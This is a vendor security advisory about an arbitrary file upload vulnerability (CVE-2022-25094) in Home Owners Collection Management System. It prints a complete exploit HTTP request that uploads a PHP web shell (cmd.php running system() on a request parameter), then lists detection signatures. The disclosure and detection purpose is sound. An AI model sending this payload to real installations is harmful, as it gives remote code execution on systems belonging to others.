Home Owners Collection Management System File Upload


Application Details

Home Owners Collection Management System is a web based system which stores the collection records of the home owners association members, and other relevant information.


Vulnerability

Home Owners Collection Management System could allow a remote authenticated attacker to upload arbitrary files, caused by the improper validation of file extensions by the /hocms/classes/SystemSettings.php endpoint.


Identification

By sending a specially crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.


POST /hocms/classes/SystemSettings.php?f=update_settings HTTP/1.1

-----------------------------31935477191495174627236953215
Content-Disposition: form-data; name="name"
Home Owners Collection Management System'

-----------------------------31935477191495174627236953215
Content-Disposition: form-data; name="short_name"
HOCMS  - PHP

-----------------------------31935477191495174627236953215
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream

-----------------------------31935477191495174627236953215
Content-Disposition: form-data; name="cover"; filename="cmd.php"
Content-Type: application/x-php
<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>
</pre>
</body>
</html>

-----------------------------31935477191495174627236953215--


Detection

By turning this into a traffic file and matching rule, we are able to detect arbitrary file upload attempts to the application.


Coverage

Idappcom has created signatures 8022468 and 8021851 along with traffic files.


References

Home Owners Collection Management System 1.0 - Remote Code Execution - Exploit Database

Home Owners Collection Management System 1.0 Shell Upload - Packet Storm Security

CVE-2022-25094


Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional